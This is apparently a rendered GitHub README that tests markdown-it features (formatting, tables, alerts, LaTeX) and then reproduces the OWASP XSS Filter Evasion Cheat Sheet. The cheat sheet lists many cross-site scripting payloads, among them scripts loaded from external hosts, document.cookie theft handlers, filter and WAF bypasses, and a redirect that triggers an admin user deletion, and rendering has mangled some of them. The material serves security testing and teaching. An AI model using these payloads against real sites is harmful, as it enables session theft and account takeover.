Testing the capability of markdown-it &
1072815-hd_1920_1080_30fps.mp4
https://github.com/leehsihaumw/test-readme/raw/main/1072815-hd_1920_1080_30fps.mp4
This text will be italic This will also be italic
This text will be bold This will also be bold
You can combine them
@octocat 👍 This PR looks great - it's ready to merge!
Note
Useful information that users should know, even when skimming content.
Tip
Helpful advice for doing things better or more easily.
Important
Key information users need to know to achieve their goal.
Warning
Urgent info that needs immediate user attention to avoid problems.
Caution
Advises about risks or negative outcomes of certain actions.
- Item 1
- Item 1a
- Item 1
- Item 1a
This is inline code
function fancyAlert(arg) {
if(arg) {
$.facebox({div:'#foo'})
}
}
This is a subscript text
This is a superscript text
This site was built using GitHub Pages.
(This is likely unsupported as it requires a few 3P tools:) https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams#creating-mermaid-diagrams
graph TD;
A-->B;
A-->C;
B-->D;
C-->D;
Header 1 | Header 2 |
---|---|
Row 1 Col 1 | Row 1 Col 2 |
Row 2 Col 1 | Row 2 Col 2 |
Blockquotes are very handy in email to emulate reply text. This line is part of the same quote.
*This text is not italic*, and **this text is not bold**.
- Write the press release
- Update the website
- Contact the media
Here's a simple footnote,1 and here's a longer one.2
This was a mistake.
This README file provides a collection of LaTeX examples that can be used in markdown documents to display mathematical expressions, equations, and more. LaTeX is a powerful tool for typesetting complex mathematical formulas and symbols.
LaTeX expressions can be included in markdown files by enclosing them in dollar signs ($
). For inline expressions, use a single dollar sign ($expression$
), and for display expressions, use double dollar signs ($$expression$$
).
Example: The formula for the area of a circle is
Example:
Summation example:
Type | Images |
---|---|
CMU |
This repository is used to test g2531455 for readme rewriting for File Exchange submissions.
Adding this line to see if I can update from Git on MATLAB Desktop
Left Justified | Centered | Right Justified |
---|---|---|
Gauche | Centre | Droit |
Image Test | Image Test | Image 40px tall |
---|---|---|
1234567 | 123456 |
Image Test | Image Test | Image -40px tall |
---|---|---|
1234567 | 123456 |
Image Test | Image Test | Image invalid height |
---|---|---|
1234567 | 123456 |
Test for Chandler Test for Fake
This article is a guide to Cross Site Scripting (XSS) testing for application security professionals. This cheat sheet was originally based on RSnake's seminal XSS Cheat Sheet previously at: https://ha.ckers.org/xss.html
. Now, the OWASP Cheat Sheet Series provides users with an updated and maintained version of the document. The very first OWASP Cheat Sheet, Cross Site Scripting Prevention, was inspired by RSnake's work and we thank RSnake for the inspiration!
This cheat sheet demonstrates that input filtering is an incomplete defense for XSS by supplying testers with a series of XSS attacks that can bypass certain XSS defensive filters.
This attack, which uses normal XSS JavaScript injection, serves as a baseline for the cheat sheet (the quotes are not required in any modern browser so they are omitted here):
<SCRIPT SRC=https://cdn.jsdelivr.net/gh/Moksh45/host-xss.rocks/index.js></SCRIPT>This test delivers a 'polyglot test XSS payload' that executes in multiple contexts, including HTML, script strings, JavaScript, and URLs:
javascript:/--></title></style></textarea></script></xmp> <svg/onload='+/"`/+/onmouseover=1/+/[/[]/+alert(42);//'>
(Based on this tweet by Gareth Heyes).
This test skips the [href](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a#href)
attribute to demonstrate an XSS attack using event handlers:
<a onmouseover="alert(document.cookie)">xxs link</a>
Chrome automatically inserts missing quotes for you. If you encounter issues, try omitting them and Chrome will correctly place the missing quotes in URLs or scripts for you:
<a onmouseover=alert(document.cookie)>xxs link</a>
(Submitted by David Cross, Verified on Chrome)
This XSS method uses the relaxed rendering engine to create an XSS vector within an IMG tag (which needs to be encapsulated within quotes). We believe this approach was originally meant to correct sloppy coding and it would also make it significantly more difficult to correctly parse HTML tags:
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
(Originally found by Begeek, but it was cleaned up and shortened to work in all browsers)
If the system does not allow quotes of any kind, you can eval()
a fromCharCode
in JavaScript to create any XSS vector you need:
This attack will bypass most SRC domain filters. Inserting JavaScript in an event handler also applies to any HTML tag type injection using elements like Form, Iframe, Input, Embed, etc. This also allows the substitution of any relevant event for the tag type, such as onblur
or onclick
, providing extensive variations of the injections listed here:
(Submitted by David Cross and edited by Abdullah Hussam)
<IMG SRC= onmouseover="alert('xxs')">
Since XSS examples that use a javascript:
directive inside an <IMG
tag do not work on Firefox this approach uses decimal HTML character references as a workaround:
This is often effective in bypassing XSS filters that look for the string &\#XX;
, since most people don't know about padding - which can be used up to 7 numeric characters total. This is also useful against filters that decode against strings like $tmp\_string =\~ s/.\*\\&\#(\\d+);.\*/$1/;
which incorrectly assumes a semicolon is required to terminate a HTML encoded string (This has been seen in the wild):
This attack is also viable against the filter for the string $tmp\_string=\~ s/.\*\\&\#(\\d+);.\*/$1/;
, because it assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters:
This approach breaks up the XSS attack:
This approach can also break up XSS:
While some defenders claim that any of the chars 09-13 (decimal) will work for this attack, this is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. Examine the ASCII table for reference. The next four XSS attack examples illustrate this vector:
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00
in the URL string or if you want to write your own injection tool you can either use vim (^V^@
will produce a null) or the following program to generate it into a text file. The null char %00
is much more useful and helped me bypass certain real world filters with a variation on this example:
perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";' > out
This is useful if a filter's pattern match doesn't take into account spaces in the word javascript:
, which is correct since that won't render, but makes the false assumption that you can't have a space between the quote and the javascript:
keyword. The actual reality is you can have any char from 1-32 in decimal:
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example \<SCRIPT\\s
!= \<SCRIPT/XSS\\s
:
<SCRIPT/XSS SRC="https://xss.rocks/xss.js"></SCRIPT>
Based on the same idea as above, however, expanded on it, using Rsnake's fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:
Yair Amit noted that there is a slightly different behavior between the Trident (IE) and Gecko (Firefox) rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful in a attack if the system does not allow spaces:
<SCRIPT/SRC="https://xss.rocks/xss.js"></SCRIPT>
This XSS vector could defeat certain detection engines that work by checking matching pairs of open and close angle brackets then comparing the tag inside, instead of a more efficient algorithm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to suppress a JavaScript error:
<<SCRIPT>alert("XSS");//<</SCRIPT>
(Submitted by Franz Sedlmaier)
With Firefox, you don't actually need the \></SCRIPT>
portion of this XSS vector, because Firefox assumes it's safe to close the HTML tag and adds closing tags for you. Unlike the next attack, which doesn't affect Firefox, this method does not require any additional HTML below it. You can add quotes if you need to, but they're normally not needed:
";alert('XSS');//
An alternative, if correct JSON or JavaScript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:
</script><script>alert('XSS');</script>
This is a simple XSS vector that closes <TITLE>
tags, which can encapsulate the malicious cross site scripting attack:
This esoteric attack focuses on embedding images for bulleted lists. It will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful XSS vector:
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE>- XSS
<svg/onload=alert('XSS')>
Set.constructor`alert\x28document.domain\x29
This attack doesn't require using any variants of
javascript:
or<SCRIPT...
to accomplish the XSS attack. Dan Crowley has noted that you can put a space before the equals sign (onload=
!=onload =
):
Using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression. This only works in IE. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:
This works the same as above, but uses a
<STYLE>@import'https://xss.rocks/xss.css';</STYLE><STYLE>
tag instead of a<LINK>
tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end</STYLE>
tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:This only works in Gecko rendering engines and works by binding an XUL file to the parent page.
<STYLE>BODY{-moz-binding:url("https://xss.rocks/xssmoz.xml#xss")}</STYLE>This XSS at times sends IE into an infinite loop of alerts:
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>(Created by Roman Ivanov)
This is really a hybrid of the last two XSS vectors, but it really does show how hard STYLE tags can be to parse apart. This can send IE into a loop:
exp/*
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <STYLE type="text/css">BODY{background:url("('XSS')")}</STYLE>The IE rendering engine doesn't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:
This is a little different than the last two XSS vectors because it uses an .htc file that must be on the same server as the XSS vector. This example file works by pulling in the JavaScript and running it as part of the style attribute:
This attack uses malformed ASCII encoding with 7 bits instead of 8. This XSS method may bypass many content filters but it only works if the host transmits in US-ASCII encoding or if you set the encoding yourself. This is more useful against web application firewall (WAF) XSS evasion than it is server side filter evasion. Apache Tomcat is the only known server that by default still transmits in US-ASCII encoding.
¼script¾alert(¢XSS¢)¼/script¾
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:
Directive URL scheme. This attack method is nice because it also doesn't have anything visible that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details.
If the target website attempts to see if the URL contains
<https://>;
at the beginning you can evade this filter rule with the following technique:(Submitted by Moritz Naumann)
If iFrames are allowed there are a lot of other XSS problems as well:
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>IFrames and most other elements can use event based mayhem like the following:
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>(Submitted by: David Cross)
Frames have the same sorts of XSS problems as iFrames
Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:
This has been modified slightly to obfuscate the URL parameter:
(Original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail)
RSnake built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):
A variant of this attack was effective against a real-world XSS filter by using a newline between the colon and
expression
:Downlevel-Hidden Block
Only works on the IE rendering engine - Trident. Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our XSS vector to exist. Or the system might try to add comment tags around something in a vain attempt to render it harmless. As we can see, that probably wouldn't do the job:
(Works on IE in safe mode) This attack needs the
//
to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that many websites uses dynamically placed images likeimages/image.jpg
rather than full paths. If the path includes a leading forward slash like/images/image.jpg
, you can remove one slash from this vector (as long as there are two to begin the comment this will work):If the system allows objects, you can also inject virus payloads that can infect the users, etc with the APPLET tag. The linked file is actually an HTML file that can contain your XSS:
This attack only works in Firefox:
(Thanks to nEUrOO for this one)
This XSS attack works only in IE:
This attack is nearly the same as above, but instead it refers to a locally hosted (on the same server) XML file that will hold your XSS vector. You can see the result here:
This attack only works in IE and remember that you need to be between HTML and BODY tags for this to work:
">(This is how Grey Magic hacked Hotmail and Yahoo!)
This attack allows you to rename your JavaScript file to an image as an XSS vector:
<SCRIPT SRC="https://xss.rocks/xss.jpg"></SCRIPT>This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:
This attack requires PHP to be installed on the server. Again, if you can run any scripts remotely like this, there are probably much more dire issues:
alert("XSS")</SCRIPT>'); ?>This attack only works when this is injected (like a web-board) in a web page behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc. This is one of the lesser used but more useful XSS vectors:
This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal
<IMG SRC="httx:https://badguy.com/a.jpg">
could actually be an attack vector to run commands as the user who views the image link. Here is the.htaccess
(under Apache) line to accomplish the vector:Redirect 302 /a.jpg https://victimsite.com/admin.asp&deleteuser
(Thanks to Timo for part of this)
This method is pretty obscure but there are a few examples where
<META
is allowed and it can be used to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc):This attack was originally tested in IE so your mileage may vary. For performing XSS on sites that allow
<SCRIPT a=">" SRC="httx:https://xss.rocks/xss.js"></SCRIPT><SCRIPT>
but don't allow<SCRIPT SRC...
by way of a regex filter/\<script\[^\>\]+src/i
, do the following:If you are performing XSS on sites that allow
<SCRIPT =">" SRC="httx:https://xss.rocks/xss.js"></SCRIPT><SCRIPT>
but don't allow\<script src...
due to a regex filter that does/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i
(This is an important one, because this regex has been seen in the wild):Another XSS to evade the same filter:
<SCRIPT a=">" '' SRC="httx:https://xss.rocks/xss.js"></SCRIPT>/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i
:Yet another XSS that evades the same filter:
/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i
Generally, we are not discussing mitigation techniques, but the only thing that stops this XSS example is, if you still want to allow
<SCRIPT "a='>'" SRC="httx:https://xss.rocks/xss.js"></SCRIPT><SCRIPT>
tags but not remote script is a state machine (and of course there are other ways to get around this if they allow<SCRIPT>
tags), use this:And one last XSS attack to evade,
<SCRIPT a=`>` SRC="httx:https://xss.rocks/xss.js"></SCRIPT>/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i
using grave accents (again, doesn't work in Firefox):Here's an XSS example which works if the regex won't catch a matching pair of quotes but instead will find any quotes to terminate a parameter string improperly:
<SCRIPT a=">'>" SRC="httx:https://xss.rocks/xss.js"></SCRIPT>This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:
<SCRIPT>document.write("PT SRC="httx:https://xss.rocks/xss.js"></SCRIPT>The following attacks work if
https://www.google.com/
is programmatically disallowed:Note: there are other of variations of DWORD encoding - see the IP Obfuscation calculator below for more details:
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quote is not required:
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc:
Let's mix and match base encoding and throw in some tabs and newlines (why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:
XSS
//
translates tohttps://
, which saves a few more bytes. This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like(ht|f)tp(s)?:https://
(thanks to Ozh for part of this one). You can also change the//
to\\\\
. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL:When combined with the above URL, removing
www.
will save an additional 4 bytes for a total byte savings of 9 for servers that have set this up properly:Extra dot for absolute DNS:
XSS
Assuming
https://www.google.com/
is programmatically replaced with nothing. A similar attack vector has been used against several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vectorjava&\#x09;script:
was converted intojava script:
, which renders in IE:If a content sharing flow on a web site is implemented as shown below, this attack will work. There is a
Content
page which includes some content provided by users and this page also includes a link toShare
page which enables a user choose their favorite social sharing platform to share it on. Developers HTML encoded thetitle
parameter in theContent
page to prevent against XSS but for some reasons they didn't URL encoded this parameter to prevent from HTTP Parameter Pollution. Finally they decide that sincecontent_type
's value is a constant and will always be integer, they didn't encode or validate thecontent_type
in theShare
page.a href="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/Share?content_type=1&title=<%=Encode.forHtmlAttribute(untrusted content title)%>">Share
<script> var contentType = <%=Request.getParameter("content_type")%>; var title = "<%=Encode.forJavaScript(request.getParameter("title"))%>"; //some user agreement and sending to server logic might be here </script>If attacker set the untrusted content title as
This is a regular title&content_type=1;alert(1)
the link inContent
page would be this:As a result, in this example the main flaw is trusting the content_type in the
Share
page without proper encoding or validation. HTTP Parameter Pollution could increase impact of the XSS flaw by promoting it from a reflected XSS to a stored XSS.Exploitation: /?xss=500); alert(document.cookie);//
Exploitation: /?xss=document.cookie
header('Refresh: 0; URL='.$_GET['param']);
This request will not pass through the WAF:
/?param=javascript:alert(document.cookie)
This request will pass through the WAF and an XSS attack will be conducted in certain browsers:
/?param=<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=